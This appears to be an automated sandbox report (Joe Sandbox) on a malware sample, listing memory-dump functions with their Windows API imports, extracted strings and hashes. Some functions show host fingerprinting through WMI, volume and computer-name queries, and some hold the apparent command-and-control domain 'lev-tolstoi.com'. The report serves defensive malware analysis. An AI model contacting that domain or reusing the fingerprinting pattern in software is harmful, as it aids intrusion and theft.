f, xrefs: 00893CC7
a, xrefs: 0089341A
e, xrefs: 00893CD7

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID: $ $!$"$$$&$'$*$,$.$.$/$/$1$3$3$4$6$8$8$9$:$@$@$A$D$D$D$E$F$H$I$I$J$J$K$L$L$M$N$O$O$P$R$T$U$V$V$W$X$Y$Y$Z$Z$Z$[$\$\$]$^$`$`$`$`$`$`$`$`$a$a$a$a$a$a$a$a$b$b$b$b$b$b$b$c$c$c$c$c$c$d$e$f$f$f$g$h$h$j$l$l$m$n$o$p$p$p$q$q$r$r$r$s$t$t$u$v$w$w$x$x$y$y$z${${$|$|$|$}$~$~
API String ID: 0-970517751
Opcode ID: 24493b8e2074f324ba32b0302e1917dfb9fbc1da0c95f66d0957d7a6ce3c645e
Instruction ID: 1406455ecead2b3fa05191728015b08dae2e9262c484df8debfd580fdb432cd5
Opcode Fuzzy Hash: 24493b8e2074f324ba32b0302e1917dfb9fbc1da0c95f66d0957d7a6ce3c645e
Instruction Fuzzy Hash: 2D038D3110C7C08AD725EB3884957AFBBE2BBD6318F188A6DE0E9873D2D6798545C713

Function 008B6F90 Relevance: 35.6, APIs: 11, Strings: 9, Instructions: 571
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(008C068C,00000000,00000001,008C067C), ref: 008B7173
SysAllocString.OLEAUT32(D080DE8F), ref: 008B71DB
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 008B7218
SysAllocString.OLEAUT32(9F4F9D4B), ref: 008B7268
SysAllocString.OLEAUT32(E8D216C6), ref: 008B731A
VariantInit.OLEAUT32(.'()), ref: 008B7385
VariantClear.OLEAUT32(.'()), ref: 008B74E0
SysFreeString.OLEAUT32(?), ref: 008B7504
SysFreeString.OLEAUT32(?), ref: 008B750A
SysFreeString.OLEAUT32(00000000), ref: 008B7517
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 008B7552

Strings

.'(), xrefs: 008B7008, 008B70C1
!", xrefs: 008B71A9
C, xrefs: 008B70CF
>C, xrefs: 008B70D7
{.] , xrefs: 008B71A1
{|, xrefs: 008B73BF
.;, xrefs: 008B7282
p*v,, xrefs: 008B7199
"#$%, xrefs: 008B75FC

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID: String$AllocFree$Variant$BlanketClearCreateInformationInitInstanceProxyVolume
String ID: !"$"#$%$.'()$.;$>C$C$p*v,${.] ${|
API String ID: 2573436264-264043890
Opcode ID: 0d5dc0648d884c91cd4dec329b56a1e3f0f94d8fd3ec615d904996fa435abf95
Instruction ID: cc9f0fe65fc9c261bebb1e947e71b6d4521e773c4f7684de2adb84d5855ec30c
Opcode Fuzzy Hash: 0d5dc0648d884c91cd4dec329b56a1e3f0f94d8fd3ec615d904996fa435abf95
Instruction Fuzzy Hash: 5602DB71A083009BD310DF68C881BABBBE5FBC5304F14892CF695DB3A1E679D845CB96

Function 008A15F0 Relevance: 28.1, Strings: 22, Instructions: 608
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/, xrefs: 008A1A80
a, xrefs: 008A1D5B
`, xrefs: 008A1AF2
,, xrefs: 008A1BCF
?, xrefs: 008A18EF
b, xrefs: 008A168F
y, xrefs: 008A1C69
$, xrefs: 008A1A76
=, xrefs: 008A18E5
b, xrefs: 008A1D56
!@, xrefs: 008A1623
a, xrefs: 008A1694
`, xrefs: 008A1D60
c, xrefs: 008A1AE3
,, xrefs: 008A1A71
x, xrefs: 008A1C64
/, xrefs: 008A1A7B
a, xrefs: 008A1AED
`, xrefs: 008A1699
c, xrefs: 008A168A
b, xrefs: 008A1AE8
c, xrefs: 008A1D51

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID: !@$$$,$,$/$/$=$?$`$`$`$a$a$a$b$b$b$c$c$c$x$y
API String ID: 0-2322859148
Opcode ID: 1110d49966e72c041b638db59984822a0f7024e0bb34f528fdfbf90566b16990
Instruction ID: 51ffc03e084557ac31fcc281b6b9c0bbc1046e01652cacb41df65a687610b230
Opcode Fuzzy Hash: 1110d49966e72c041b638db59984822a0f7024e0bb34f528fdfbf90566b16990
Instruction Fuzzy Hash: 3E32F33160C3848FE7248B28C4993AEFBE1FBD6324F19492DE5D5C7792D6B988418B43

Function 00091127 Relevance: 15.1, APIs: 10, Instructions: 125
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00091151
_amsg_exit.MSVCRT ref: 00091172
_initterm.MSVCRT ref: 0009119B
_initterm.MSVCRT ref: 000911C3
SetUnhandledExceptionFilter.KERNEL32 ref: 0009120B
malloc.MSVCRT ref: 0009123A
strlen.MSVCRT ref: 00091256
malloc.MSVCRT ref: 00091264
exit.MSVCRT ref: 000912D4
_cexit.MSVCRT ref: 000912E2

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: _inittermmalloc$ExceptionFilterSleepUnhandled_amsg_exit_cexitexitstrlen
String ID:
API String ID: 1058485957-0
Opcode ID: fdbb1b6074caa55fd6033da70eb5609bf2e224d7f8669cc4ac4c4640ab5579b6
Instruction ID: 78059a75f23ff6eef362b682252a68855380730db5ca2217ae5fb9c65528d9dc
Opcode Fuzzy Hash: fdbb1b6074caa55fd6033da70eb5609bf2e224d7f8669cc4ac4c4640ab5579b6
Instruction Fuzzy Hash: 15513BB0A08205DFCF14EFA9DA846DEBBF4FB4C340F01842DE5A897611D7759984EB92

Function 0088E2A9 Relevance: 14.0, APIs: 2, Strings: 7, Instructions: 529
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.OLE32 ref: 0088E2B5
CoUninitialize.COMBASE ref: 0088E673

Strings

"# `, xrefs: 0088E70A
lev-tolstoi.com, xrefs: 0088E649, 0088E9DD
s, xrefs: 0088E736
I~, xrefs: 0088E8E3
,, xrefs: 0088E688
qx, xrefs: 0088E8EE
`~, xrefs: 0088E8CD

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID: Uninitialize
String ID: "# `$,$I~$`~$lev-tolstoi.com$qx$s
API String ID: 3861434553-2978658354
Opcode ID: ea1e10409cc109b6acc0f9bcd4e018fc10f448e788b7f0898c892cacb0d9adef
Instruction ID: 2f5dff72a2211a84bb44441787ed517da35b99a5916d2b1457a0ee2a34e2f3f5
Opcode Fuzzy Hash: ea1e10409cc109b6acc0f9bcd4e018fc10f448e788b7f0898c892cacb0d9adef
Instruction Fuzzy Hash: 2902ACB014C3D18BD775DF2584A07EBBFE1EFA2304F1899ACD4DA9B252D675040A8B63

Function 008A33A0 Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 471
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^<P, xrefs: 008A363F
#R,T, xrefs: 008A3647
]~"p, xrefs: 008A367F
ij, xrefs: 008A397D
KM, xrefs: 008A37FB
VW, xrefs: 008A33E5

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID: #R,T$$^<P$VW$]~"p$ij$KM
API String ID: 0-788320361
Opcode ID: 84009a7881408e5acddc6a9fbffe0f34fd96094d03357397107786f8b68f36dc
Instruction ID: ac625e523ef4fa5da122c72b2d9e7fde1a66dd2b844b1f5f21c8abc4a9ad7e80
Opcode Fuzzy Hash: 84009a7881408e5acddc6a9fbffe0f34fd96094d03357397107786f8b68f36dc
Instruction Fuzzy Hash: 7EF1CBB0A083408FD3109F69D89166BBBF1FF96304F54892CF4968B650EB78D945CB83

Function 0088A960 Relevance: 9.2, Strings: 7, Instructions: 401
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

kl, xrefs: 0088AB2D
N[\D, xrefs: 0088AC00
'D F, xrefs: 0088AAC6
#xDz, xrefs: 0088AACE
A|}~, xrefs: 0088AAD6
n, xrefs: 0088A982
N[\D, xrefs: 0088ADB7, 0088ACF6, 0088ADEE, 0088ABA4, 0088ABC5, 0088ACD2, 0088AD01, 0088ADC0

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID: #xDz$'D F$A|}~$N[\D$N[\D$kl$n
API String ID: 0-490458541
Opcode ID: d9c6738a9925044a5d50b3622f26092264dce8021aef844ffb4b94293ac950d1
Instruction ID: 88e40f9e6f9d2e1d05e3708f1ec400c0ae8fe86499d281164372661752cdd216
Opcode Fuzzy Hash: d9c6738a9925044a5d50b3622f26092264dce8021aef844ffb4b94293ac950d1
Instruction Fuzzy Hash: 3FC1147260C3504BD728DF6488905ABFBD3EBD1304F1E892EE9D59B382D675990AC783

Function 0088CE55 Relevance: 9.0, Strings: 7, Instructions: 275
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

F^, xrefs: 0088D0B9
lev-tolstoi.com, xrefs: 0088D27A
514019E65AFB322223D904AF30EFEBBC, xrefs: 0088CEAF
z@(, xrefs: 0088CF5B
N~ :, xrefs: 0088CF45
I@, xrefs: 0088D0C4
VgfW, xrefs: 0088CF2F

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID: 514019E65AFB322223D904AF30EFEBBC$F^$I@$N~ :$VgfW$lev-tolstoi.com$z@(
API String ID: 0-1910631551
Opcode ID: c4c4d243865d9e68b006bc138afe11734dd8b2324c2ed9e679d8bc72b6162bee
Instruction ID: a8cf79de54fb1848651002eb32d26f543a4765b014c0370d6b57b387b4654773
Opcode Fuzzy Hash: c4c4d243865d9e68b006bc138afe11734dd8b2324c2ed9e679d8bc72b6162bee
Instruction Fuzzy Hash: 5D91CEB05493C18BD335DF25D8A0BEBBBE0FB96314F14896CD4D98B282D738454ACB92

Function 008887F0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 127
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00888811
GetCurrentThreadId.KERNEL32 ref: 0088881A
GetForegroundWindow.USER32 ref: 008888CE
ExitProcess.KERNEL32 ref: 0088897B

Strings

YO9W, xrefs: 00888822

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID: CurrentProcess$ExitForegroundThreadWindow
String ID: YO9W
API String ID: 3118123366-386669604
Opcode ID: 6943f5ad67a5e46c8e560554bf6441766d1a21b499f62f2758afc8d45a2fda47
Instruction ID: 2a7b5ac0de7f03fbd2a00b8c3f256ef69055c9ba574a5890ddca99370b970544
Opcode Fuzzy Hash: 6943f5ad67a5e46c8e560554bf6441766d1a21b499f62f2758afc8d45a2fda47
Instruction Fuzzy Hash: 19314733F5021847C35C7AB99C463AAB587ABC4610F0E823D9DD9EB396FDB88C0546D2

Function 008ABFDA Relevance: 7.5, APIs: 3, Strings: 1, Instructions: 461
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 008AC0D7
GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 008AC113
GetComputerNameExA.KERNELBASE(00000005,?,00000200), ref: 008AC1D8

Strings

x, xrefs: 008AC2F2

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID: ComputerName$FreeLibrary
String ID: x
API String ID: 2243422189-2363233923
Opcode ID: f64c402c9caeb1455a7f550f0a7e2548cc25d348c1858d5cf54588c26a9c9578
Instruction ID: bf3d8e4271291b67bc1222b6b20629b76b6a3f2f7723084349e44d40a0988baf
Opcode Fuzzy Hash: f64c402c9caeb1455a7f550f0a7e2548cc25d348c1858d5cf54588c26a9c9578
Instruction Fuzzy Hash: 11D1D46060C7D08EEB358B2984603ABBFE1EFE7344F1849ACD0C99B682D7398505CB53

Function 008B6C40 Relevance: 6.5, Strings: 5, Instructions: 265
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

c, xrefs: 008B6ECC
a, xrefs: 008B6ED4
cba`cba`, xrefs: 008B6DDF
b, xrefs: 008B6ED0
`, xrefs: 008B6ED8

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID: `$a$b$c$cba`cba`
API String ID: 0-3925122358
Opcode ID: 9745f8936300d0d963abb7168194e467e11d30a7e36005d0f439c4c61709ea6e
Instruction ID: ad0f6639b1296d31bda71f5049bb9d9766aee7142087196a70d206c316160028
Opcode Fuzzy Hash: 9745f8936300d0d963abb7168194e467e11d30a7e36005d0f439c4c61709ea6e
Instruction Fuzzy Hash: 47A10371A082588FDB04CBA8C4557EEBFF2FB95304F1C846DD486D7392E67A8910CB92

Function 0088C36E Relevance: 6.5, Strings: 5, Instructions: 203
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

GS, xrefs: 0088C677
CJ, xrefs: 0088C67E
){+}, xrefs: 0088C788
4cde, xrefs: 0088C79C
F'k), xrefs: 0088C706

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID: ){+}$4cde$CJ$F'k)$GS
API String ID: 0-4192230409
Opcode ID: 74ee3db0cc2cb1cbb4709a359942de19512c792e40c790092e87f18a5b5d5041
Instruction ID: 06e84eac10de0801ea718ce0057ed6e5703bff410442ba6195337b72ce862b22
Opcode Fuzzy Hash: 74ee3db0cc2cb1cbb4709a359942de19512c792e40c790092e87f18a5b5d5041
Instruction Fuzzy Hash: F6B11BB84053458FE354DF629688FAA7BB0FB25310F1A82E8E0992F776D7748405CF96

Function 008AC6D7 Relevance: 5.9, APIs: 1, Strings: 2, Instructions: 614COMMON

Download Yara Rule

Strings

iJ, xrefs: 008ACAF5
', xrefs: 008ACC09

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID: '$iJ
API String ID: 0-30662343
Opcode ID: 43e8a9248c03b0a554b0d676bc81e6627f4e6e5488da00d653f2178c6165127c
Instruction ID: 88774d72f92a4b3023ce49d0cf839a0352fd06357f8fa78662229cdde8014d94
Opcode Fuzzy Hash: 43e8a9248c03b0a554b0d676bc81e6627f4e6e5488da00d653f2178c6165127c
Instruction Fuzzy Hash: D802C1B060C3D18FD729CF2990603ABBFE1AF97304F18496DE4DA97282D77985068B57

Function 008ABFD3 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 456COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 008AC113
GetComputerNameExA.KERNELBASE(00000005,?,00000200), ref: 008AC1D8

Strings

x, xrefs: 008AC2F2

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID: ComputerName
String ID: x
API String ID: 3545744682-2363233923
Opcode ID: e3125154d0c4b3aa01c925cad0fc98f019fe47c3ba9ff41678060ed5bcb4869b
Instruction ID: 5a14063386cbbb83dce0042dac5cda00838cb767f9b09f27c077a98b79fbd50d
Opcode Fuzzy Hash: e3125154d0c4b3aa01c925cad0fc98f019fe47c3ba9ff41678060ed5bcb4869b
Instruction Fuzzy Hash: A5D1F46060C7D18EEB398B2984A03ABBBD1FFA7354F18896DD0D98B682D7359406C753

Function 008B1BB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 179COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 008B1BF9
GetSystemMetrics.USER32 ref: 008B1C09

Strings

, xrefs: 008B1CF6

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: f6918cdba7eb88af6becef76a8e4695ab87663dbaba425ce076a0a62b178354c
Instruction ID: 33dadc021ec14ed0c4f3ea0bc7c7d07cd226e1adb9730da7222b6efafa4b777c
Opcode Fuzzy Hash: f6918cdba7eb88af6becef76a8e4695ab87663dbaba425ce076a0a62b178354c
Instruction Fuzzy Hash: E4B16FB00097918FD770DF95D498B9BBBF0FB85308F504A1DE6D99B250CBB5A5888F82

Function 008897B0 Relevance: 5.4, Strings: 4, Instructions: 396COMMON

Download Yara Rule

Strings

w, xrefs: 0088995C
514019E65AFB322223D904AF30EFEBBC, xrefs: 0088987B
_P, xrefs: 00889C05
EIFT, xrefs: 00889875, 00889880, 008898C1

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID: 514019E65AFB322223D904AF30EFEBBC$EIFT$_P$w
API String ID: 0-220748024
Opcode ID: 7ecbaacf7f7eb3938be83c0e1558228f7b07af946b95da61475f8f3102e292df
Instruction ID: 6a8371663ef5efd0a60c507ec285092bd985025249fccae5c8861e418bd8ff42
Opcode Fuzzy Hash: 7ecbaacf7f7eb3938be83c0e1558228f7b07af946b95da61475f8f3102e292df
Instruction Fuzzy Hash: 55C111716087409BD318DF29C8526AFBBE6FBD1314F188A2DE4D6C7291DA39C909CB16

Function 008A6170 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

8zVc, xrefs: 008A627D
cba`, xrefs: 008A61C1
4zVc, xrefs: 008A621C
YNMZ, xrefs: 008A6446

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID: InitializeThunk
String ID: 4zVc$8zVc$YNMZ$cba`
API String ID: 2994545307-1799417857
Opcode ID: ebbc50e3495aff14a1272552c79539310752ce307c4faeba8563dabaac2517d9
Instruction ID: c7b780690ef0acc3e8236c11e76faf715324b765a27fdf6ce421a7849cdad5fb
Opcode Fuzzy Hash: ebbc50e3495aff14a1272552c79539310752ce307c4faeba8563dabaac2517d9
Instruction Fuzzy Hash: B79159B2E043118BE724DE25DC81B2B72A2FBD6314F1D843CE995C7749FA749C118796

Function 00896B7E Relevance: 1.8, APIs: 1, Instructions: 335COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 600ac3f047ccc8d19aa1f92da2a8b3deb4b62b43c61d8b6e80280ab6aba7ab57
Instruction ID: 47cc22dd1640719b3f4355191d0a952c03643a03be88e404c413e2831c820a43
Opcode Fuzzy Hash: 600ac3f047ccc8d19aa1f92da2a8b3deb4b62b43c61d8b6e80280ab6aba7ab57
Instruction Fuzzy Hash: 16A113B16047418FCB24DF28C891A23BBE2FF55314B198A6CD49ACB792E735E816CB51

Function 008BE690 Relevance: 1.6, Strings: 1, Instructions: 384COMMON

Download Yara Rule

Strings

@CDE, xrefs: 008BE8D1

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID: InitializeThunk
String ID: @CDE
API String ID: 2994545307-1513065382
Opcode ID: fdc7a17c5b41aa2cfa9f057b84ebd0155bc6b830ae37fb6a18c81ad02903aa7d
Instruction ID: 66ba1819a27b3e5898ad306013185bb47aa4b3cdc40782b12ccde06e493e3868
Opcode Fuzzy Hash: fdc7a17c5b41aa2cfa9f057b84ebd0155bc6b830ae37fb6a18c81ad02903aa7d
Instruction Fuzzy Hash: 9AB112717483414FC728CA29C8D19BBBBE6FBA9314F1C897CE586C7392DA3498458792

Function 008BB480 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(008BD4FB,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 008BB4AE

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00897E82 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

tuv, xrefs: 00898856

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID: tuv
API String ID: 0-2475268160
Opcode ID: ee8ef0a81612cac943e0f5fb89383208e49f6afe6e840ac11fe0288276d32364
Instruction ID: 014ffdd6c1b36092839ab41d9b310d2c7e22682d3a0b88d43fdc34299354d7d7
Opcode Fuzzy Hash: ee8ef0a81612cac943e0f5fb89383208e49f6afe6e840ac11fe0288276d32364
Instruction Fuzzy Hash: 706142B2604701CFCB20AF28D892767B3B2FF96318F1C4569E996C73A1EB35A815C711

Function 008BDBD0 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

@, xrefs: 008BDC39

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 3ad6b7f7cd95903f5d333bce600e61ef9f235e802d6cb290dd4a567b11fc5f6b
Instruction ID: fad2ef06eb51dd2dd05f35ce39fd79d1d2c03e4ec72432cf2712620459a443c1
Opcode Fuzzy Hash: 3ad6b7f7cd95903f5d333bce600e61ef9f235e802d6cb290dd4a567b11fc5f6b
Instruction Fuzzy Hash: BA31F1B11083049FC314DF18D8D1AABBBF8FB95314F14992DE59687391E3719908CB96

Function 00889CC0 Relevance: 1.3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

Strings

\U^_, xrefs: 00889CE5

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID: \U^_
API String ID: 0-352632802
Opcode ID: e38b2d0664d4cbb9faab1c2a1b9004ba97ce3a37e01ed403099029601d622786
Instruction ID: 7f3914bf8cb5556a81bc668129c1f6c936078f4b1f39dbfd9563f0899127fe02
Opcode Fuzzy Hash: e38b2d0664d4cbb9faab1c2a1b9004ba97ce3a37e01ed403099029601d622786
Instruction Fuzzy Hash: 9811E23060C3908FC3249F349854AABBBA5EBD7744F545A2CE0C56B381C735980A8F96

Function 00890FD6 Relevance: .9, Instructions: 882COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1eaf94d1266f462af72d6e97ecadbb2a829bdae087f92c7b159f02181dc13ec7
Instruction ID: 922a90f20a6d6b5d2c537396de76c603b63f16b606590812a1132ec54dcac6d1
Opcode Fuzzy Hash: 1eaf94d1266f462af72d6e97ecadbb2a829bdae087f92c7b159f02181dc13ec7
Instruction Fuzzy Hash: D272C375608B418FDB14EF38C48935ABBE2FB95314F198A2DD4EBC7792EA35A405C702

Function 008BDCF0 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 44de8404138539f2829abca34241b909b37e879bd45470e32e11209c2911dcf1
Instruction ID: 9fee5835f58ef09e7a9ea339d7891881d0c734f27c9f7bb425005c5dd092e712
Opcode Fuzzy Hash: 44de8404138539f2829abca34241b909b37e879bd45470e32e11209c2911dcf1
Instruction Fuzzy Hash: 5C712632608305ABC714AE29C850ABBB7A6FFE5750F19C53CE4C6CB365EA31D8518782

Function 0088B351 Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daf933000f3c78ab0858e2e5a6da15cb527665bb645ee78c36611cbe88cf58cd
Instruction ID: 5bed13be98f13c197da77a29bdccb627d55eb3fccef39bdf49cff80e195929fb
Opcode Fuzzy Hash: daf933000f3c78ab0858e2e5a6da15cb527665bb645ee78c36611cbe88cf58cd
Instruction Fuzzy Hash: A4817272650B118FC324CF29DC52B57B7E6FB88314B188A2DE5A6C7BA1DB78F4018B40

Function 008B9B90 Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c87e9155f9f4ad8cbe3e63cfa7ccb9e779a472e062ec289b3edfb62c65f73762
